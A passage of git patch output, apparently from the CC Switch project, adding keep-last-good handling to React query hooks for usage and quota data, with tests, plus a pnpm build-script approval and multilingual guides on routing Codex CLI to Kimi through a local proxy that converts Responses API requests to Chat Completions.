undefined, +export interface ResolveDisplayUsageOptions { + /** 本次查询是否以 reject 告终(invoke Err;react-query 会保留上次成功 data)。 */ + rejected?: boolean; + keepMs?: number; +} + +export function resolveDisplayUsage( + raw: T | undefined, dataUpdatedAt: number, - prevLastGood: LastGoodUsage | null, + prevLastGood: LastGoodSnapshot | null, now: number, - keepMs: number = KEEP_LAST_GOOD_MS, + options: ResolveDisplayUsageOptions = {}, ): { - data: UsageResult | undefined; + data: T | undefined; lastQueriedAt: number | null; - lastGood: LastGoodUsage | null; + lastGood: LastGoodSnapshot | null; } { + const { rejected = false, keepMs = KEEP_LAST_GOOD_MS } = options; + + if (rejected && raw?.success) { + // reject 时看到的"成功"是 react-query 保留的旧值。用它补种 lastGood——锚定 + // 上次真实成功时刻(dataUpdatedAt),且从 query 缓存派生,组件重挂丢失 ref + // 后窗口判定依然成立。 + const lastGood = { data: raw, at: dataUpdatedAt || now }; + if (now - lastGood.at < keepMs) { + return { data: raw, lastQueriedAt: lastGood.at, lastGood }; + } + // 超窗:陈旧成功不再展示(调用方合成失败占位)。快照保留而非清空——reject + // 属瞬时、不代表旧值失信(与 5xx 的"不清空"一致);窗口锚定成功时刻, + // 超窗后自然保持失效,直到下次成功刷新。 + return { data: undefined, lastQueriedAt: lastGood.at, lastGood }; + } + let lastGood = prevLastGood; if (raw?.success) { // 成功:刷新快照 @@ -231,9 +267,9 @@ export const useUsageQuery = ( refetchIntervalInBackground: true, // 后台也继续定时查询 refetchOnWindowFocus: false, // 用量查询面向跨境/第三方端点,单次网络抖动或瞬时 5xx 不应直接判失败。 - // 重试一次以吸收瞬时故障(与 useSubscriptionQuota 的 retry:1 保持一致)。 - // 注意:原生 balance/coding_plan 路径把网络错误折叠成 Ok(success:false), - // 这类不会触发 react-query 重试;本项主要覆盖会 reject 的传输层失败(Copilot/DB 等)。 + // 后端已把瞬时传输失败(网络/超时/读体中断)转成 Err → invoke reject, + // retry 在此真正生效;reject 保留的旧 data 与 Ok(success:false) 的 5xx/429 + // 一样,只在 resolveDisplayUsage 的 keep-last-good 窗口内继续展示。 retry: 1, retryDelay: 1500, staleTime, // 使用动态计算的缓存时间 @@ -248,12 +284,22 @@ export const useUsageQuery = ( query.dataUpdatedAt, lastGoodRef.current, Date.now(), + { rejected: query.isError }, ); lastGoodRef.current = lastGood; return { ...query, - data, + // reject 且无可展示值(首次查询即失败,或保留的旧成功已超窗):合成失败占位, + // 让 footer/卡片渲染失败态 + 重试入口,并透出 reject 的错误文案。 + data: + data ?? + (query.isError + ? { + success: false, + error: extractErrorMessage(query.error) || undefined, + } + : undefined), lastQueriedAt, }; }; diff --git a/src/lib/query/subscription.ts b/src/lib/query/subscription.ts index 7da5a7485..ec8e0c24f 100644 --- a/src/lib/query/subscription.ts +++ b/src/lib/query/subscription.ts @@ -1,9 +1,13 @@ -import { useQuery } from "@tanstack/react-query"; +import { useRef } from "react"; +import { useQuery, type UseQueryResult } from "@tanstack/react-query"; import { subscriptionApi } from "@/lib/api/subscription"; import type { AppId } from "@/lib/api/types"; import type { ProviderMeta } from "@/types"; +import type { SubscriptionQuota } from "@/types/subscription"; import { resolveManagedAccountId } from "@/lib/authBinding"; import { PROVIDER_TYPES } from "@/config/constants"; +import { resolveDisplayUsage, type LastGoodSnapshot } from "./queries"; +import { extractErrorMessage } from "@/utils/errorUtils"; const REFETCH_INTERVAL = 5 * 60 * 1000; // 5 minutes @@ -12,6 +16,66 @@ export const subscriptionKeys = { quota: (appId: AppId) => [...subscriptionKeys.all, "quota", appId] as const, }; +/** + * reject 且无可展示值时的失败占位:首次查询就失败(data 为 undefined),或 + * react-query 保留的旧成功已超出 keep-last-good 窗口——合成一个失败结果,让 + * 订阅视图仍渲染「查询失败」+ 刷新按钮,而不是 footer 整体消失、无从手动重查。 + */ +const QUERY_REJECTED_PLACEHOLDER: SubscriptionQuota = { + tool: "", + credentialStatus: "valid", + credentialMessage: null, + success: false, + tiers: [], + extraUsage: null, + error: null, + queriedAt: null, +}; + +/** + * Keep-last-good:与 useUsageQuery 同一策略(resolveDisplayUsage)。 + * + * 后端对纯传输失败(网络/超时/读体中断)已 reject——react-query 保留上次 data + * 并触发 retry,但那份 data 是陈旧的:以 `rejected` 标志交给 resolveDisplayUsage + * 按同一窗口处理(窗口内继续展示,超窗透出失败),与仍以 `Ok(success:false)` + * 返回的瞬时失败(HTTP 5xx/429)行为一致。确定性失败(过期/鉴权/解析)不掩盖, + * 立即透出。 + * + * `scopeKey` 标识查询身份(appId / 绑定的账号 id):身份变化时丢弃旧快照, + * 避免用上一个账号的额度掩盖新账号的瞬时失败。 + */ +function useQuotaKeepLastGood( + query: UseQueryResult, + scopeKey: string, +) { + const lastGoodRef = useRef<{ + key: string; + snap: LastGoodSnapshot | null; + }>({ key: scopeKey, snap: null }); + if (lastGoodRef.current.key !== scopeKey) { + lastGoodRef.current = { key: scopeKey, snap: null }; + } + const { data, lastGood } = resolveDisplayUsage( + query.data, + query.dataUpdatedAt, + lastGoodRef.current.snap, + Date.now(), + { rejected: query.isError }, + ); + lastGoodRef.current.snap = lastGood; + return { + ...query, + data: + data ?? + (query.isError + ? { + ...QUERY_REJECTED_PLACEHOLDER, + error: extractErrorMessage(query.error) || null, + } + : undefined), + }; +} + export function useSubscriptionQuota( appId: AppId, enabled: boolean, @@ -23,7 +87,7 @@ export function useSubscriptionQuota( ? Math.max(autoQueryIntervalMinutes, 1) * 60 * 1000 : false; - return useQuery({ + const query = useQuery({ queryKey: subscriptionKeys.quota(appId), queryFn: () => subscriptionApi.getQuota(appId), enabled: enabled && ["claude", "codex", "gemini"].includes(appId), @@ -36,6 +100,8 @@ export function useSubscriptionQuota( : REFETCH_INTERVAL, retry: 1, }); + + return useQuotaKeepLastGood(query, appId); } export interface UseCodexOauthQuotaOptions { @@ -59,7 +125,7 @@ export function useCodexOauthQuota( ) { const { enabled = true, autoQuery = false } = options; const accountId = resolveManagedAccountId(meta, PROVIDER_TYPES.CODEX_OAUTH); - return useQuery({ + const query = useQuery({ queryKey: ["codex_oauth", "quota", accountId ?? "default"], queryFn: () => subscriptionApi.getCodexOauthQuota(accountId), enabled, @@ -69,4 +135,6 @@ export function useCodexOauthQuota( staleTime: REFETCH_INTERVAL, retry: 1, }); + + return useQuotaKeepLastGood(query, accountId ?? "default"); } diff --git a/tests/lib/keepLastGoodUsage.test.ts b/tests/lib/keepLastGoodUsage.test.ts index e696f9f26..2cbb4bf29 100644 --- a/tests/lib/keepLastGoodUsage.test.ts +++ b/tests/lib/keepLastGoodUsage.test.ts @@ -50,7 +50,7 @@ describe("isTransientUsageError", () => { ); }); - it("HTTP 5xx → 瞬时(true);4xx → 非瞬时(false)", () => { + it("HTTP 5xx / 429(限流)→ 瞬时(true);其余 4xx → 非瞬时(false)", () => { expect(isTransientUsageError(fail("API error (HTTP 500): oops"))).toBe( true, ); @@ -60,12 +60,19 @@ describe("isTransientUsageError", () => { expect( isTransientUsageError(fail("API error (HTTP 502): bad gateway")), ).toBe(true); + // 429 是限流:稍后重试即可恢复,归瞬时——且不应清空 keep-last-good 快照 expect( isTransientUsageError(fail("API error (HTTP 429): rate limited")), - ).toBe(false); + ).toBe(true); + expect( + isTransientUsageError(fail("HTTP 429 Too Many Requests : x")), + ).toBe(true); expect( isTransientUsageError(fail("Authentication failed (HTTP 403)")), ).toBe(false); + expect( + isTransientUsageError(fail("Authentication failed (HTTP 401)")), + ).toBe(false); }); it("成功 / 无错误信息 → false", () => { @@ -173,4 +180,111 @@ describe("resolveDisplayUsage (keep-last-good)", () => { const r = resolveDisplayUsage(success, 0, null, now); expect(r.lastGood).toEqual({ data: success, at: now }); }); + + it("429 限流:窗口内继续展示上次成功,且不清空 lastGood", () => { + const prev: LastGoodUsage = { data: ok(42), at: T0 }; + const now = T0 + 1000; + const r = resolveDisplayUsage( + fail("API error (HTTP 429): rate limited"), + now, + prev, + now, + ); + expect(r.data).toBe(prev.data); // 掩盖:继续展示上次成功 + expect(r.lastGood).toBe(prev); // 快照保留,抖动过去后可继续兜底 + }); +}); + +// 订阅系 hooks(useSubscriptionQuota / useCodexOauthQuota)复用同一决策函数, +// 这里用 SubscriptionQuota 的形状锁定泛型行为。 +describe("resolveDisplayUsage(SubscriptionQuota 形状)", () => { + interface QuotaLike { + success: boolean; + error?: string | null; + credentialStatus: string; + queriedAt: number | null; + } + const quotaOk = (queriedAt: number): QuotaLike => ({ + success: true, + error: null, + credentialStatus: "valid", + queriedAt, + }); + const quotaFail = (error: string): QuotaLike => ({ + success: false, + error, + credentialStatus: "valid", + queriedAt: null, + }); + + it("瞬时 5xx:窗口内继续展示上次成功的 quota(含其 queriedAt)", () => { + const prev = { data: quotaOk(T0), at: T0 }; + const now = T0 + 1000; + const r = resolveDisplayUsage( + quotaFail("API error (HTTP 502): bad gateway"), + now, + prev, + now, + ); + expect(r.data).toBe(prev.data); + expect(r.data?.queriedAt).toBe(T0); // 展示的相对时间指向旧成功 + }); + + it("确定性失败(token 过期):立即透出并清空 lastGood", () => { + const prev = { data: quotaOk(T0), at: T0 }; + const now = T0 + 1000; + const failure = quotaFail("OAuth token has expired"); + const r = resolveDisplayUsage(failure, now, prev, now); + expect(r.data).toBe(failure); + expect(r.lastGood).toBeNull(); + }); +}); + +// invoke reject(后端 Err:网络/超时/读体中断)时 react-query 保留上次成功 data, +// `rejected` 标志让这份"陈旧成功"走同一 keep-last-good 窗口(锚定上次成功时刻 +// dataUpdatedAt),而不是无限期被当作新鲜成功展示——否则「彻底断网」反而比 +// 「单次 5xx」掩盖更久。 +describe("resolveDisplayUsage(rejected:reject 保留的旧成功按窗口过期)", () => { + it("窗口内:继续展示旧成功;prevLastGood=null(组件重挂丢 ref)也从 dataUpdatedAt 补种", () => { + const stale = ok(42); // react-query 保留的旧成功,dataUpdatedAt = 其成功时刻 + const now = T0 + KEEP_LAST_GOOD_MS - 1; + const r = resolveDisplayUsage(stale, T0, null, now, { rejected: true }); + expect(r.data).toBe(stale); + expect(r.lastQueriedAt).toBe(T0); // 相对时间指向上次真实成功 + expect(r.lastGood).toEqual({ data: stale, at: T0 }); + }); + + it("超窗(>= keepMs):不再展示旧成功(data 置空由调用方合成失败占位),快照保留不清空", () => { + const stale = ok(42); + const now = T0 + KEEP_LAST_GOOD_MS; + const r = resolveDisplayUsage(stale, T0, null, now, { rejected: true }); + expect(r.data).toBeUndefined(); + expect(r.lastQueriedAt).toBe(T0); + expect(r.lastGood).toEqual({ data: stale, at: T0 }); // reject 属瞬时,不清快照 + }); + + it("reject 且从无成功(raw=undefined,首次查询即失败):data 为 undefined,lastGood 不变", () => { + const r = resolveDisplayUsage(undefined, 0, null, T0, { rejected: true }); + expect(r.data).toBeUndefined(); + expect(r.lastQueriedAt).toBeNull(); + expect(r.lastGood).toBeNull(); + }); + + it("reject 但保留的是确定性失败结果:照旧立即透出并清空 lastGood(rejected 只作用于成功值)", () => { + const prev: LastGoodUsage = { data: ok(42), at: T0 }; + const failure = fail("Authentication failed (HTTP 401)"); + const r = resolveDisplayUsage(failure, T0 + 1000, prev, T0 + 1000, { + rejected: true, + }); + expect(r.data).toBe(failure); + expect(r.lastGood).toBeNull(); + }); + + it("rejected 未传(默认 false):成功照常作为新鲜结果,既有语义不变", () => { + const success = ok(7); + const now = T0 + KEEP_LAST_GOOD_MS * 3; // 距 T0 很久也无妨:非 reject 的成功就是新鲜的 + const r = resolveDisplayUsage(success, now, null, now); + expect(r.data).toBe(success); + expect(r.lastGood).toEqual({ data: success, at: now }); + }); }); From 358bf1e2b777b40606c9e2a198ee270b9ec9f664 Mon Sep 17 00:00:00 2001 From: Jason Date: Tue, 7 Jul 2026 21:03:20 +0800 Subject: [PATCH 23/73] chore(pnpm): settle build-script approvals for esbuild and msw pnpm 10.13+ appends "set this to true or false" allowBuilds placeholders to pnpm-workspace.yaml on every install for unreviewed dependencies with lifecycle scripts. Approve esbuild (postinstall ensures the platform binary) and ignore msw (postinstall only prints an integration notice) so the file stops mutating itself. --- pnpm-workspace.yaml | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/pnpm-workspace.yaml b/pnpm-workspace.yaml index fab9eb3b7..435b40ef9 100644 --- a/pnpm-workspace.yaml +++ b/pnpm-workspace.yaml @@ -2,3 +2,7 @@ packages: [] onlyBuiltDependencies: - '@tailwindcss/oxide' + - esbuild + +ignoredBuiltDependencies: + - msw From d271d60cf960e3366ddacae0285aa705603b3598 Mon Sep 17 00:00:00 2001 From: Jason Date: Wed, 8 Jul 2026 00:00:56 +0800 Subject: [PATCH 24/73] docs: add Codex Kimi routing guides --- docs/guides/codex-kimi-routing-guide-en.md | 112 ++++++++++++++++++ docs/guides/codex-kimi-routing-guide-ja.md | 112 ++++++++++++++++++ docs/guides/codex-kimi-routing-guide-zh.md | 112 ++++++++++++++++++ .../01-codex-providers-require-routing.png | Bin 0 -> 381635 bytes .../02-kimi-codex-routing-form.png | Bin 0 -> 274985 bytes .../03-local-route-codex-takeover.png | Bin 0 -> 301922 bytes 6 files changed, 336 insertions(+) create mode 100644 docs/guides/codex-kimi-routing-guide-en.md create mode 100644 docs/guides/codex-kimi-routing-guide-ja.md create mode 100644 docs/guides/codex-kimi-routing-guide-zh.md create mode 100644 docs/images/codex-kimi-routing/01-codex-providers-require-routing.png create mode 100644 docs/images/codex-kimi-routing/02-kimi-codex-routing-form.png create mode 100644 docs/images/codex-kimi-routing/03-local-route-codex-takeover.png diff --git a/docs/guides/codex-kimi-routing-guide-en.md b/docs/guides/codex-kimi-routing-guide-en.md new file mode 100644 index 000000000..b55cc8c82 --- /dev/null +++ b/docs/guides/codex-kimi-routing-guide-en.md @@ -0,0 +1,112 @@ +# Using Kimi in Codex: CC Switch Local Routing Guide + +> Applies to CC Switch 3.16.5 and nearby versions. This guide is based on the repository documentation and code, and uses Kimi as an example of an OpenAI Chat Completions-compatible API. Screenshots are generated from the current frontend UI with de-identified sample data to avoid exposing a real API key or account balance. + +## Why local routing is needed + +The newer Codex CLI targets the OpenAI Responses API, while both the Kimi Open Platform and Kimi For Coding expose the OpenAI Chat Completions shape, `/chat/completions`. These two protocols use different request bodies, streaming events, and response structures. If you put a Kimi endpoint directly into Codex configuration, the usual result is a 404 on `/responses`, or streaming responses that Codex cannot parse correctly. + +The third-party tools officially supported by Kimi For Coding are Anthropic-compatible coding agents such as Claude Code and Roo Code — Codex is not on the list. To use Kimi inside Codex, you need a protocol conversion layer, and that is exactly what CC Switch Local Routing does. + +CC Switch solves this by making Codex always talk to a local route and continue sending Responses API requests. The route detects whether the active provider is Chat-format, rewrites the request into Chat Completions for the upstream provider, and finally converts the Chat response back into the Responses shape that Codex understands. + +![Needs routing marker in the Codex provider list](../images/codex-kimi-routing/01-codex-providers-require-routing.png) + +The chain has four main steps: + +1. When Codex routing is enabled, the local configuration is written as `http://127.0.0.1:15721/v1`, while `wire_api = "responses"` is kept in place. +2. The provider's `meta.apiFormat = "openai_chat"` tells the route that the real upstream is Chat Completions. +3. The route rewrites `/responses` or `/v1/responses` to `/chat/completions`, and converts the Responses request body into a Chat request body. +4. After the upstream responds, the route converts the Chat JSON or SSE stream back into Responses JSON/SSE. + +## Prerequisites + +Prepare these three things first: + +- CC Switch installed and able to start. +- Codex CLI installed and run at least once, so the `~/.codex/config.toml` directory structure exists. +- A Kimi API key. + +Kimi API keys come from two different places, matching two different built-in presets in CC Switch: + +- **Kimi Open Platform** (platform.kimi.com): pay-as-you-go API keys billed by token usage, matching the `Kimi` preset. The OpenAI-compatible base URL is `https://api.moonshot.cn/v1` and the default model is `kimi-k2.7-code`. +- **Kimi For Coding** (kimi.com/code): a dedicated key generated from the Kimi Code membership benefits, matching the `Kimi For Coding` preset. The base URL is `https://api.kimi.com/coding/v1` and the unified model is `kimi-for-coding`. + +Both presets already contain the correct endpoint and model details, so prefer the presets and do not manually assemble the endpoint path. + +## Step 1: Add a Codex provider + +Open CC Switch, switch to the top-level `Codex` tab, and click the plus button in the upper-right corner to add a provider. + +Depending on which kind of key you have, choose the built-in `Kimi` preset (Open Platform, pay-as-you-go) or `Kimi For Coding` preset (membership subscription). You only need to do two things: + +- Enter the matching Kimi API key. +- Save the provider. + +![Upstream format in the Kimi Codex provider form](../images/codex-kimi-routing/02-kimi-codex-routing-form.png) + +The preset already includes Kimi's request base URL, default model, model menu, thinking/reasoning parameters, and presets `Upstream Format` under `Advanced Options` to `Chat Completions (routing required)`. You can adjust the default model or model display names if needed — for example, the Open Platform preset defaults to `kimi-k2.7-code`, and you can switch to `kimi-k2.7-code-highspeed` following the official documentation. The protocol conversion is handled by the routing layer. + +## Step 2: Enable local routing and route Codex + +Go to the `Routing` page in Settings, expand `Local Routing`, and complete two toggles: + +1. Turn on the main routing switch to start the local service. The default address is `127.0.0.1:15721`. +2. Turn on `Codex` under `Routing Enabled`. If you only want Codex to use local routing, you can leave Claude and Gemini off. + +![Enabling Codex routing on the local routing page](../images/codex-kimi-routing/03-local-route-codex-takeover.png) + +After routing is enabled, CC Switch points Codex's live configuration to the local route and manages authentication with a placeholder. The real Kimi key stays in the CC Switch provider configuration and is injected by the local route while forwarding requests, so you do not need to expose the key in Codex's live configuration. + +## Step 3: Switch providers and restart Codex + +Return to the Codex provider list and click `Enable` on the Kimi provider. If you see the `Needs Routing` marker, that provider must be used while routing is running; when the route is not started, CC Switch shows a prompt saying the routing service is required. + +After switching, restart the current Codex terminal session. This is recommended because: + +- The Codex process may already have read the old `config.toml`. +- After `model_catalog_json` is generated, the `/model` menu usually needs a fresh process before it refreshes. + +Inside Codex, use `/model` to check whether the current model comes from the Kimi preset, such as `Kimi K2.7 Code` or `Kimi For Coding`. The Codex app currently does not support multi-model selection, so it defaults to the first configured model. Then send a small test prompt and confirm that the request count increases in the routing panel, or that a Codex request appears in usage/request logs. + +## How to handle other Chat providers + +Kimi, DeepSeek, MiniMax, SiliconFlow, and other common Chat-format providers already have presets in CC Switch, so use presets first. Only choose custom configuration for providers that are not covered by presets; in that case, fill in the API key, base URL, and models according to the provider's documentation, and set `Upstream Format` under `Advanced Options` to `Chat Completions (routing required)`. + +If the upstream provider directly supports the OpenAI Responses API, set `Upstream Format` to `Responses`; CC Switch then connects through Responses directly without Chat conversion. + +## FAQ + +**Codex reports 404 or cannot find `/responses`** + +Usually Codex routing is not enabled, or the Kimi Chat base URL was written directly into Codex manually — the Kimi upstream has no `/responses` endpoint, so that always 404s. Check whether `~/.codex/config.toml` points to `http://127.0.0.1:15721/v1`. + +**Kimi upstream reports 401 or 403** + +First confirm the key matches the preset: Open Platform keys only work with the `Kimi` preset, and Kimi Code membership keys only work with the `Kimi For Coding` preset. The two key families are not interchangeable. + +**Kimi upstream reports 404** + +If you are using a built-in Kimi preset, first confirm that the active provider really comes from the preset and that Codex routing is enabled. Only custom providers require extra base URL checks: the base URL should be the service root, not the full endpoint path with `/chat/completions`. + +**`/model` does not show Kimi models** + +Restart Codex after saving the provider. CC Switch generates `cc-switch-model-catalog.json` and writes its path to `model_catalog_json`, but a running Codex process may not hot-load the model catalog. +The Codex app currently does not support multi-model selection, so it uses the first configured model by default. + +**Routing is enabled, but requests still go to the wrong provider** + +Confirm that all three states match: the current provider under the Codex tab is Kimi; the local routing service is running; and the Codex toggle is enabled under `Routing Enabled`. + +**Can I use an official OpenAI Codex account through local routing?** + +Not recommended. CC Switch blocks switching to official providers while local routing takeover is enabled, because accessing official APIs through a proxy may create account risk. Routing is mainly intended for third-party, aggregator, or protocol-conversion scenarios. + +## References + +- [CC Switch User Manual: Add Provider](../user-manual/en/2-providers/2.1-add.md) +- [CC Switch User Manual: Proxy Service](../user-manual/en/4-proxy/4.1-service.md) +- [CC Switch User Manual: App Routing](../user-manual/en/4-proxy/4.2-routing.md) +- [Kimi Open Platform: Using Kimi K2.7 Code in coding tools](https://platform.kimi.com/docs/guide/agent-support) +- [Kimi Code Docs: Overview](https://www.kimi.com/code/docs/) +- [Kimi Code Docs: Using with third-party coding agents](https://www.kimi.com/code/docs/third-party-tools/other-coding-agents.html) diff --git a/docs/guides/codex-kimi-routing-guide-ja.md b/docs/guides/codex-kimi-routing-guide-ja.md new file mode 100644 index 000000000..91f8d5e76 --- /dev/null +++ b/docs/guides/codex-kimi-routing-guide-ja.md @@ -0,0 +1,112 @@ +# Codex で Kimi を使う: CC Switch ローカルルーティングガイド + +> 対象バージョン: CC Switch 3.16.5 およびその前後のバージョン。本記事はリポジトリ内のドキュメントとコードをもとに整理し、OpenAI Chat Completions 互換 API の例として Kimi を使用します。スクリーンショットは現在のフロントエンド UI から、実際の API Key やアカウント残高が漏れないよう匿名化したサンプルデータで生成しています。 + +## ローカルルーティングが必要な理由 + +新しい Codex CLI は OpenAI Responses API を前提にしています。一方で Kimi オープンプラットフォームと Kimi For Coding が実際に公開しているのは、いずれも OpenAI Chat Completions 形式、つまり `/chat/completions` です。この 2 つのプロトコルは、リクエストボディ、ストリーミングイベント、レスポンス構造が異なります。Kimi のエンドポイントをそのまま Codex 設定に入れると、`/responses` へのリクエストが 404 になる、ストリーミングレスポンスを Codex が正しく解析できない、といった問題が起きがちです。 + +Kimi For Coding が公式にサポートするサードパーティツールは、Claude Code や Roo Code など Anthropic 互換のコーディング Agent であり、Codex はリストに含まれていません。Codex で Kimi を使うにはプロトコル変換レイヤーが必要で、それこそが CC Switch のローカルルーティングの役割です。 + +CC Switch では、Codex が常にローカルルートへ接続し、Responses API のままリクエストを送るようにします。ルート内部で現在のプロバイダーが Chat 形式かどうかを判定し、必要ならリクエストを Chat Completions に書き換えて上流へ送り、最後に Chat レスポンスを Codex が理解できる Responses 形式へ戻します。 + +![Codex プロバイダー一覧のローカルルーティング必須マーク](../images/codex-kimi-routing/01-codex-providers-require-routing.png) + +この経路は主に 4 つのステップに分かれます: + +1. Codex ルーティングを有効にすると、ローカル設定は `http://127.0.0.1:15721/v1` に書き換えられ、`wire_api = "responses"` は維持されます。 +2. Provider の `meta.apiFormat = "openai_chat"` が、実際の上流は Chat Completions だとルートに伝えます。 +3. ルートは `/responses` または `/v1/responses` を `/chat/completions` に書き換え、Responses のリクエストボディを Chat のリクエストボディへ変換します。 +4. 上流から返ってきた後、ルートは Chat の JSON または SSE ストリームを Responses JSON/SSE へ変換して返します。 + +## 事前準備 + +先に次の 3 つを用意してください: + +- インストール済みで起動できる CC Switch。 +- インストール済みの Codex CLI。少なくとも 1 回は実行し、`~/.codex/config.toml` のディレクトリ構造が存在していること。 +- Kimi の API Key。 + +Kimi の API Key には 2 つの取得元があり、CC Switch の 2 つの内蔵プリセットに対応します: + +- **Kimi オープンプラットフォーム**(platform.kimi.com): トークン使用量に応じた従量課金の API Key。プリセット `Kimi` に対応し、OpenAI 互換 base URL は `https://api.moonshot.cn/v1`、デフォルトモデルは `kimi-k2.7-code` です。 +- **Kimi For Coding**(kimi.com/code): Kimi メンバーシップの Kimi Code 特典から生成する専用 Key。プリセット `Kimi For Coding` に対応し、base URL は `https://api.kimi.com/coding/v1`、モデルは `kimi-for-coding` に統一されています。 + +どちらのプリセットにも公式情報に基づくエンドポイントとモデルがすでに設定されているため、まずはプリセットを使い、エンドポイントパスを手で組み立てる必要はありません。 + +## Step 1: Codex プロバイダーを追加する + +CC Switch を開き、上部の `Codex` タブへ切り替え、右上のプラスボタンからプロバイダーを追加します。 + +手元の Key の種類に応じて、内蔵プリセットの `Kimi`(オープンプラットフォーム・従量課金)または `Kimi For Coding`(メンバーシップ)を選びます。必要なのは次の 2 つだけです: + +- 対応する Kimi API Key を入力する。 +- プロバイダーを保存する。 + +![Kimi Codex プロバイダーフォームの上流フォーマット設定](../images/codex-kimi-routing/02-kimi-codex-routing-form.png) + +プリセットには Kimi のリクエスト先、デフォルトモデル、モデルメニュー、thinking/reasoning パラメータがすでに含まれており、`高級オプション` の `上流フォーマット` も `Chat Completions(ルーティング必須)` にプリセットされています。必要に応じてデフォルトモデルやモデル表示名を調整できます。たとえばオープンプラットフォームのプリセットはデフォルトが `kimi-k2.7-code` で、公式ドキュメントに従って `kimi-k2.7-code-highspeed` に変更することもできます。プロトコル変換はルーティング層に任せれば十分です。 + +## Step 2: ローカルルーティングを有効にして Codex をルーティングする + +設定の `ルーティング` ページに入り、`ローカルルーティング` を展開して、次の 2 つのスイッチを設定します: + +1. `ルーティング総スイッチ` をオンにしてローカルサービスを起動します。デフォルトアドレスは `127.0.0.1:15721` です。 +2. `ルーティング有効` で `Codex` をオンにします。Codex だけをルーティングしたい場合は、Claude と Gemini はオフのままで構いません。 + +![ローカルルーティング画面で Codex ルーティングを有効化](../images/codex-kimi-routing/03-local-route-codex-takeover.png) + +ルーティングを有効にすると、CC Switch は Codex の live 設定をローカルルートへ向け、認証はプレースホルダーで管理します。実際の Kimi Key は CC Switch の Provider 設定内に残り、ローカルルートが転送時に注入します。そのため、Codex の live 設定に Key を露出させる必要はありません。 + +## Step 3: プロバイダーを切り替えて Codex を再起動する + +Codex プロバイダー一覧に戻り、Kimi プロバイダーの `有効化` をクリックします。`ルーティングが必要` の表示が見える場合、そのプロバイダーはルーティング実行中に使う必要があります。ルーティングが起動していない場合、CC Switch は「ルーティングサービスが必要」という趣旨のメッセージを表示します。 + +切り替え後は、現在の Codex ターミナルセッションを再起動することをおすすめします。理由は次のとおりです: + +- Codex プロセスがすでに古い `config.toml` を読み込んでいる可能性があります。 +- `model_catalog_json` の生成後、`/model` メニューの更新には通常、新しいプロセスが必要です。 + +Codex に入ったら、`/model` で現在のモデルが Kimi プリセット由来かどうかを確認します。たとえば `Kimi K2.7 Code` や `Kimi For Coding` などです。現在の Codex app は複数モデル選択に対応していないため、設定内の最初のモデルをデフォルトで使用します。その後、小さな質問を 1 つ送って、ルーティングパネルのリクエスト数が増えるか、usage / リクエストログに Codex リクエストが出るかを確認します。 + +## 他の Chat プロバイダーの場合 + +Kimi、DeepSeek、MiniMax、SiliconFlow など一般的な Chat 形式プロバイダーは CC Switch にプリセットがあるため、まずはプリセットを使ってください。プリセットにないプロバイダーだけ、カスタム設定を選びます。その場合は相手側のドキュメントに従って API Key、base URL、モデルを入力し、`高級オプション` の `上流フォーマット` を `Chat Completions(ルーティング必須)` に設定します。 + +上流が OpenAI Responses API を直接サポートしている場合は、`上流フォーマット` を `Responses` にすれば、CC Switch は Responses のまま直結でき、Chat 変換は行いません。 + +## よくある質問 + +**Codex が 404 を返す、または `/responses` が見つからない** + +多くの場合、Codex ルーティングが有効になっていないか、Kimi の Chat base URL を手動で Codex に直接書いています。Kimi の上流には `/responses` エンドポイントが存在しないため、必ず 404 になります。`~/.codex/config.toml` が `http://127.0.0.1:15721/v1` を指しているか確認してください。 + +**Kimi 上流が 401 または 403 を返す** + +まず Key とプリセットの組み合わせを確認してください。オープンプラットフォームの Key はプリセット `Kimi` 専用、Kimi Code 特典の Key はプリセット `Kimi For Coding` 専用で、2 種類の Key は相互に使えません。 + +**Kimi 上流が 404 を返す** + +内蔵 Kimi プリセットを使っている場合は、まず現在のプロバイダーが本当にプリセット由来であること、そして Codex ルーティングが有効であることを確認してください。カスタムプロバイダーを使っている場合だけ、base URL を追加で確認します。base URL はサービスのルートであり、`/chat/completions` 付きの完全なエンドポイントパスではありません。 + +**`/model` に Kimi モデルが表示されない** + +プロバイダーを保存した後、Codex を再起動してください。CC Switch は `cc-switch-model-catalog.json` を生成し、そのパスを `model_catalog_json` に書き込みますが、実行中の Codex プロセスがモデルカタログをホットロードするとは限りません。 +現在の Codex app は複数モデル選択に対応していないため、設定内の最初のモデルをデフォルトで使用します。 + +**ルーティングを有効にしたのに、リクエストが別のプロバイダーへ行く** + +次の 3 つの状態が一致しているか確認してください:Codex タブの現在のプロバイダーが Kimi であること、ローカルルーティングサービスが実行中であること、`ルーティング有効` で Codex スイッチがオンであること。 + +**公式 OpenAI Codex アカウントをローカルルーティング経由で使えますか** + +おすすめしません。CC Switch はローカルルーティング有効中、公式プロバイダーへの切り替えをブロックします。プロキシ経由で公式 API にアクセスすると、アカウントリスクが発生する可能性があるためです。ルーティングは主にサードパーティ、集約サービス、またはプロトコル変換のための機能です。 + +## 参考リンク + +- [CC Switch ユーザーマニュアル: プロバイダーの追加](../user-manual/ja/2-providers/2.1-add.md) +- [CC Switch ユーザーマニュアル: プロキシサービス](../user-manual/ja/4-proxy/4.1-service.md) +- [CC Switch ユーザーマニュアル: アプリケーションルーティング](../user-manual/ja/4-proxy/4.2-routing.md) +- [Kimi オープンプラットフォーム: コーディングツールで Kimi K2.7 Code を使う](https://platform.kimi.com/docs/guide/agent-support) +- [Kimi Code ドキュメント: 概要](https://www.kimi.com/code/docs/) +- [Kimi Code ドキュメント: サードパーティ Coding Agent での利用](https://www.kimi.com/code/docs/third-party-tools/other-coding-agents.html) diff --git a/docs/guides/codex-kimi-routing-guide-zh.md b/docs/guides/codex-kimi-routing-guide-zh.md new file mode 100644 index 000000000..0d940125c --- /dev/null +++ b/docs/guides/codex-kimi-routing-guide-zh.md @@ -0,0 +1,112 @@ +# 在 Codex 中用 Kimi:CC Switch 本地路由攻略 + +> 适用版本:CC Switch 3.16.5 及附近版本。本文根据仓库内文档与代码整理,并用 Kimi 作为 OpenAI Chat Completions 兼容接口的示例。截图来自当前前端界面,使用去敏示例数据生成,避免泄露真实 API Key 或账户余额。 + +## 为什么需要本地路由 + +新版 Codex CLI 面向的是 OpenAI Responses API,而 Kimi 开放平台和 Kimi For Coding 实际暴露的都是 OpenAI Chat Completions 形态,也就是 `/chat/completions`。这两种协议的请求体、流式事件和返回结构不同,直接把 Kimi 的接口地址填进 Codex 配置里,常见结果就是请求 `/responses` 返回 404,或者流式响应无法被 Codex 正确解析。 + +Kimi For Coding 官方目前支持的第三方工具是 Claude Code、Roo Code 这类兼容 Anthropic 协议的编程 